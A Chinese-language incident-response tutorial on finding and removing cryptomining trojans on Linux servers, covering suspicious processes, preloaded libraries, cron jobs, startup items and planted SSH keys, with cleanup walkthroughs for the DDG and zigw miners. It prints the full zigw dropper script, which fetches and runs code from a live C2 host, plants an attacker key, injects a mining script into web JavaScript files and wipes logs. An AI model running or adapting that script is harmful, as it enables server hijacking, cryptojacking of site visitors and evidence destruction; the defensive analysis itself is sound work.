如何排查常见挖矿木马

栏目: 编程工具 · 发布时间: 6年前

内容简介:想要理解挖矿,就要先理解什么是区块链、虚拟货币。区块链是一种通过去中心化、去信任的方式集体维护的一个可靠存储。区块链中的每个节点都能获得一份完整的数据拷贝。虚拟货币是基于区块链的应用。区块链是底层技术,虚拟货币是基于此技术的应用。以比特币为例,可以说比特币是区块链,但区块链不是比特币。

0x00 什么是挖矿?

想要理解挖矿,就要先理解什么是区块链、虚拟货币。

区块链是一种通过去中心化、去信任的方式集体维护的一个可靠存储。区块链中的每个节点都能获得一份完整的数据拷贝。

虚拟货币是基于区块链的应用。区块链是底层技术,虚拟货币是基于此技术的应用。以比特币为例,可以说比特币是区块链,但区块链不是比特币。

什么是挖矿呢?

每隔一个时间点,比特币系统会在系统节点上生成一个随机代码,互联网中的所有计算机都可以去寻找此代码,谁找到此代码,就会产生一个区块。而比特币的发行是基于奖励的,每促成一个区块的生成,该节点便获得相应奖励,这样大家就有动力投入资金去维护整个交易网络的正常运行。这个寻找代码获得奖励的过程就是挖矿。但是要计算出符合条件的值需要进行上万亿次的哈希运算,这个过程需要大量的算力,于是部分黑客就会通过入侵服务器的方式来控制别人的计算机帮助自己挖矿。

挖矿木马

挖矿木马一般为自动化扫描、攻击、部署挖矿进程的脚本,攻击者首先将挖矿脚本放在远程主机上,通过常见或最新爆出的可命令执行的自动化漏洞利用脚本获得主机的控制权后,登陆主机,利用wget或curl直接下载远程挖矿进程部署脚本,执行脚本进行挖矿进程的部署、隐藏、持久化和痕迹清除等工作。

挖矿流程一般为:

  1. 通过已知漏洞获得主机控制权

  2. 下载远程挖矿脚本

  3. 删除本机中可能存在的其他挖矿进程(可见黑产竞争的激烈程度)

  4. 生成特征文件避免重复感染

  5. 判断主机系统类型和位数,隐藏并运行挖矿进程

  6. 如果有GPU则进行GPU挖矿

  7. 挖矿进程的驻留与持久化

  8. 部分有蠕虫功能的脚本还会以当前主机为跳板,利用已知漏洞和弱口令进行局域网扫描,以控制更多主机。

  9. 清除痕迹

0x01 常见被挖矿的原因

为了追求高效率,现在的黑客一般都是通过自动化脚本去扫描互联网上所有机器,寻找漏洞然后部署挖矿进程。所以大部分的挖矿都是由于受害者的主机上存在常见的漏洞。比如

  • 未授权访问或弱口令:Redis未授权访问、Docker API未授权访问,Hadoop Yarn 未授权访问、NFS未授权访问、Rsync弱口令、PostgreSQL弱口令、Tomcat弱口令、SSH弱口令、Telnet弱口令、Windows远程桌面弱口令;

  • 远程命令执行漏洞:WebLogic XML 反序列化漏洞、Jenkins反序列化、Jboss远程代码执行、Spring远程代码执行、ElasticSearch命令执行、永恒之蓝、Struts2系列漏洞、常见CMS的远程命令执行漏洞;

  • 新爆的高危漏洞:一般每次爆发新的高危漏洞,都会紧跟一波大规模的全网扫描利用和挖矿。

一旦发现服务器被挖矿,应该首先查看挖矿进程所属的用户,根据挖矿进程的运行用户去排查该用户下是否还运行着其它进程,确定这些进程是否有上述经常被黑客利用的漏洞。如果有常见的漏洞,则应该重点对此进行排查。

0x02 被挖矿特征

  • 主机CPU使用率飙升

  • 电费激增

0x03 排查过程

1. 确定挖矿进程

可以使用 top 命令直接筛选出占用CPU过高的可疑进程。

部分挖矿进程的名字由不规则数字和字母组成,可直接看出(如ddg的qW3xT.4或zigw等)。

如何排查常见挖矿木马

如何排查常见挖矿木马

也有的挖矿进程会修改进程名为常见名称,干扰运维人员,这种伪装方法比较简单(比如利用XHide修改进程名或直接修改可执行文件名),所以排查过程中也要关注所有占用CPU较高的可疑进程。

如何排查常见挖矿木马

如果看到了可疑进程,可以使用 lsof -p pid   查看进程打开的文件,或查看 /proc/pid/exe   指向的文件。

lsof

如何排查常见挖矿木马

proc

如何排查常见挖矿木马

从上图可以看到,python进程所指向的文件明显为异常文件,此时就需要重点排查该文件。如果挖矿木马有隐藏进程的功能,那么很难直接从top中确定可疑进程名。这时,可从以下几方面进行排查:

1).是否替换了系统命令

使用 rpm -Va   查看系统命令是否被替换,如果系统命令已经被替换,可直接从纯净系统拷贝ps,top,等命令到受感染主机上使用。

如何排查常见挖矿木马

可以看到,系统的 ps、netstat、lsof   三个命令均被替换。

ps命令被替换后,会修改ps输出的内容,从而隐藏可疑进程。此时直接使用ps命令时,会导致查询不准确。比如gates木马会替换ps命令,直接使用ps -ef命令查看进程时,会隐藏一个位于/usr/bin/下的进程。如下,使用busybox可看到可疑进程,但是使用系统的ps命令就不会看到 /usr/bin/bsd-port/recei 进程。

如何排查常见挖矿木马

2).是否修改了动态链接库

如果找不到占用CPU较高的进程,可考虑排查是否修改了动态链接库,使用 cat /etc/ld.so.preload  echo $LD_PRELOAD   命令查看是否有预加载的动态链接库文件。

也可以使用ldd命令查看命令依赖库中是否有可疑动态库文件,如图,在将libprocesshider.so文件加入ld.so.preload文件中后,ldd 命令可看到top命令预先加载了可疑动态库。

如何排查常见挖矿木马

确认已经加载恶意动态链接库后,直接移除恶意动态链接库文件或清除ld.so.preload中对该库文件的引用内容即可。

3).以上情况都可以直接通过静态编译的busybox进行排查。

2. 查看挖矿进程所属用户

一般挖矿进程为自动化攻击脚本,所以很少有提权的过程,那么很大可能挖矿进程所属用户即为攻击进入系统的用户。后续的排查过程可根据此寻找攻击者的入侵途径。

top

如何排查常见挖矿木马

ps -ef |grep pid

如何排查常见挖矿木马

两种方式都可以看到,挖矿进程所属用户为 weblogic。

3. 查看用户进程

确定已失陷用户后,可查询该用户所属其他进程,判断其他进程是否有已知漏洞(Weblogic反序列化、Struts2系列漏洞、Jenkins RCE)或弱口令(Redis未授权、Hadoop yarn未授权、SSH弱口令)等问题。

ps -ef|grep username

如何排查常见挖矿木马

可以看到,weblogic用户下除了两个挖矿进程,还有一个weblogic应用的进程,所以这时候就应该判断该该weblogic应用是否有已知的漏洞(比如WebLogic反序列化漏洞)。如果有的话,那么该挖矿进程很可能是利用了该漏洞进入主机。

4. 确定原因

排查出挖矿木马后对木马类型进行分析,根据木马的传播特征和传播方式,初步判断本次入侵的原因。然后结合应用日志以及漏洞利用残留文件确定本次攻击是否利用了该漏洞。

比如,利用 redis 未授权访问漏洞后,一般会修改redis的 dbfilenamedir 的配置,并且使用reids写文件时,会在文件中残留redis和版本号标识,可以根据以上两个信息排查是否利用了redis。

如何排查常见挖矿木马

如何排查常见挖矿木马

0x04 清除挖矿木马

1. 及时隔离主机

部分带有蠕虫功能的挖矿木马在取得本机的控制权后,会以本机为跳板机,对同一局域网内的其他主机进行已知漏洞的扫描和进一步利用,所以发现挖矿现象后,在不影响业务的前提下应该及时隔离受感染主机,然后进行下一步分析。

2. 阻断与矿池通讯

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP

iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

3. 清除定时任务

大部分挖矿进程会在受感染主机中写入定时任务完成程序的驻留,当安全人员只清除挖矿木马时,定时任务会再次从服务器下载挖矿进程或直接执行挖矿脚本,导致挖矿进程清除失败。

使用 crontab -l    vim /var/spool/cron/root   查看是否有可疑定时任务,有的话直接删除,或停止crond进程。

如何排查常见挖矿木马

还有

/etc/crontab、/var/spool/cron、/etc/cron.daily/、/etc/cron.hourly/、/etc/cron.monthly/、/etc/anacrontab   等文件夹或文件中的内容也要关注。

4. 清除启动项

还有的挖矿进程为了实现长期驻留,会向系统中添加启动项来确保系统重启后挖矿进程还能重新启动。所以在清除时还应该关注启动项中的内容,如果有可疑的启动项,也应该进行排查,确认是挖矿进程后,对其进行清除。

排查过程中重点应该关注:

/etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/、/etc/rc.d/、/etc/rc.local /etc/inittab 等目录或文件下的内容。

5. 清除公钥文件

在用户家目录的.ssh目录下放置authoruzed_keys文件,从而免密登陆该机器也是一种常见的保持服务器控制权的手段。在排查过程中应该查看该文件中是否有可疑公钥信息,有的话直接删除,避免攻击者再次免密登陆该主机。

[UserDIR]/.ssh/authorized_keys

6. kill挖矿进程

对于单进程挖矿程序,直接结束挖矿进程即可。但是对于大多数的挖矿进程,如果挖矿进程有守护进程,应先杀死守护进程再杀死挖矿进程,避免清除不彻底。

kill -9 pid    pkill ddg.3014

在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式,并按照顺序进行清除,避免清除不彻底。

0x005 挖矿进程清除实例

1. ddgs.3014清除

DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库服务器,并利用服务器算力挖矿(门罗币)的僵尸网络。

如何排查常见挖矿木马

ddg.3014的执行脚本 i.sh

如何排查常见挖矿木马

可以看到, 脚本的执行流程是先写入定时任务(/var/spool/cron/root 或 /var/spool/cron/crontabs/root),然后下载对应版本的ddgs.3014文件并执行,最后清除其他存在于本机的挖矿样本

ddgs.3014执行后会主动连接攻击者的C2服务器去下载相应的挖矿程序并运行,而且ddg还内置了redis和SSH扫描器,会对redis和SSH进行爆破,ddg还会在 .ssh/authorized_keys 中留下公钥。

如何排查常见挖矿木马

ddgs.3014程序 和 qW3xT.4挖矿文件,

如何排查常见挖矿木马

此时会有两个ddg相关进程进程,ddg.3014和qW3xT.4,

如何排查常见挖矿木马

使用top命令可以看到,占用cpu较高的是qW3xT.4进程,即矿机。

如何排查常见挖矿木马

根据脚本的执行流程可以知道,ddg.3014挖矿木马的清除步骤是

1).首先清除定时任务,删除/var/spool/cron/root 和 /var/spool/cron/crontabs/root中的内容

2).结束ddgs.3014, kill -9 1546    pkill -9 ddgs.3014

3).结束矿机进程, kill -9 1734   pkill -9 qW3xT.4

4).清除其他残留文件, rm -rf ~/.ddg /tmp/ddgs.3014 /tmp/qW3xT.4

5).清除authorized_keys中的恶意公钥, echo "" > ~/.ssh/authorized_keys

2. zigw清除

zigw是一种XMR挖矿工具,攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序。XMR挖矿程序耗主机的CPU/GPU资源,网页挖矿程序耗访问服务器JS 网页的客户端资源 。

攻击者的C2服务器页面本身就自带 JS 挖矿效果:

如何排查常见挖矿木马

zigw的执行脚本 shz.sh如下,

#!/bin/shsetenforce 0 2>dev/nullecho SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"oddir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/urlif [ -f "$oddir" ]	then
		pkill zjgw
		chattr -i /etc/shz.sh
		rm -f /etc/shz.sh
		chattr -i /tmp/shz.sh
		rm -f /tmp/shz.sh
		chattr -i  /etc/gmbpr
		rm -f /etc/gmbpr	else
		echo "ok"fiif [ -f "$rtdir" ]	then
		echo "goto 1" >> /etc/gmbpr2
		chattr -i $cont
		if [ -f "$bbdir" ]			then
				[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
			else
				[[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
		fi
		mkdir /root/.ssh
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys
		[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
		ps -fe|grep zigw |grep -v grep		if [ $? -ne 0 ]			then
				cd /etc
				filesize=`ls -l zigw | awk '{ print $5 }'`
				file="/etc/zigw"
				if [ -f "$file" ]					then
						if [ "$filesize" -ne "1467080" ]							then
								chattr -i /etc/zigw
								rm -f zigw								if [ -f "$bbdir" ]								then
									curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw								elif [ -f "$bbdira" ]								then
									url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw								elif [ -f "$ccdir" ]								then
									wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw								elif [ -f "$ccdira" ]								then
									get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw								fi
						fi
					else
						if [ -f "$bbdir" ]						then
							curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw						elif [ -f "$bbdira" ]						then
							url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw						elif [ -f "$ccdir" ]						then
							wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw						elif [ -f "$ccdira" ]						then
							get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw						fi
				fi
				chmod 777 zigw
				sleep 1s
				./zigw			else
				echo "runing....."
		fi
		chmod 777 /etc/zigw
		chattr +i /etc/zigw
		chmod 777 /etc/shz.sh
		chattr +i /etc/shz.sh
		shdir='/etc/shz.sh'
		if [ -f "$shdir" ]			then
				echo "exists shell"
			else
				if [ -f "$bbdir" ]				then
					curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh				elif [ -f "$bbdira" ]				then
					url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh				elif [ -f "$ccdir" ]				then
					wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh				elif [ -f "$ccdira" ]				then
					get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh				fi
				sh /etc/shz.sh		fi
	else
		echo "goto 1" > /tmp/gmbpr2
		chattr -i $cont
		if [ -f "$bbdir" ]			then
				[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
			else
				[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
		fi
		ps -fe|grep zigw |grep -v grep		if [ $? -ne 0 ]			then
				cd /tmp
				filesize=`ls -l zigw | awk '{ print $5 }'`
				file="/tmp/zigw"
				if [ -f "$file" ]					then
						if [ "$filesize" -ne "1467080" ]							then
								chattr -i /tmp/zigw
								rm -f zigw								if [ -f "$bbdir" ]								then
									curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw								elif [ -f "$bbdira" ]								then
									url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw								elif [ -f "$ccdir" ]								then
									wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw								elif [ -f "$ccdira" ]								then
									get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw								fi
						fi
					else
						if [ -f "$bbdir" ]						then
							curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw						elif [ -f "$bbdira" ]						then
							url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw						elif [ -f "$ccdir" ]						then
							wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw						elif [ -f "$ccdira" ]						then
							get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw						fi
				fi
				chmod 777 zigw
				sleep 1s
				./zigw			else
				echo "runing....."
		fi
		chmod 777 /tmp/zigw
		chattr +i /tmp/zigw
		chmod 777 /tmp/shz.sh
		chattr +i /tmp/shz.sh
		shdir='/tmp/shz.sh'
		if [ -f "$shdir" ]			then
				echo "exists shell"
			else
				if [ -f "$bbdir" ]				then
					curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh				elif [ -f "$bbdira" ]				then
					url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh				elif [ -f "$ccdir" ]				then
					wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh				elif [ -f "$ccdira" ]				then
					get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh				fi 
				sh /tmp/shz.sh		fifiiptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;history -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_historyecho > /var/spool/mail/root

可以看到,脚本首先生成特征文件 /etc/gmbpr2 ,接着将系统自带的wget和curl重命名为get和url,防止以后其它进入本机挖矿的脚本下载矿机抢夺资源,然后如果存在特征文件 /etc/gmbpr ,则认为该机器已经被其他同类攻击者感染,会停止zjgw进程并删除/etc下的gpbpr和shz.sh。

如何排查常见挖矿木马

接下来判断如果存在自己的特征文件 /etc/gmbpr2 ,就会为主机添加定时任务,并向authorized_keys中添加自己的公钥文件。

如何排查常见挖矿木马

最后就会下载挖矿程序并执行,并为/tmp/zigw /tmp/shz/sh 增加i属性,避免被删除,最后添加防火墙规则屏蔽部分常用矿池的端口,并清除掉其他常见挖矿程序。

从脚本看出,zigw只是以定时任务的方式实现驻留,所以该木马的清除步骤为

1).清除定时任务, /var/spool/cron/$USER 中的内容

2).结束zigw进程, pkill -9 zigw

3).删除公钥文件, /root/.ssh/zuthorized_keys

4).删除残留文件,需要先去除i属性,然后删除( chattr -i /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh; rm /etc/zigw /etc/shz.sh /tmp/zigw /tmp/shz.sh /etc/gmbpr2

5).恢复防火墙规则

参考链接

https://github.com/chenkaie/junkcode/blob/7134fb63eecf32fefc47d613a7f2f37d4eee05fb/xhide.c

https://github.com/gianlucaborello/libprocesshider

https://www.freebuf.com/column/188100.html

https://blog.csdn.net/btc18129874591/article/details/80566799

https://xmr.omine.org

https://www.f2pool.com/


以上所述就是小编给大家介绍的《如何排查常见挖矿木马》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深入浅出Node.js

深入浅出Node.js

朴灵 / 人民邮电出版社 / 2013-12-1 / CNY 69.00

本书从不同的视角介绍了 Node 内在的特点和结构。由首章Node 介绍为索引,涉及Node 的各个方面,主要内容包含模块机制的揭示、异步I/O 实现原理的展现、异步编程的探讨、内存控制的介绍、二进制数据Buffer 的细节、Node 中的网络编程基础、Node 中的Web 开发、进程间的消息传递、Node 测试以及通过Node 构建产品需要的注意事项。最后的附录介绍了Node 的安装、调试、编码......一起来看看 《深入浅出Node.js》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

MD5 加密
MD5 加密

MD5 加密工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具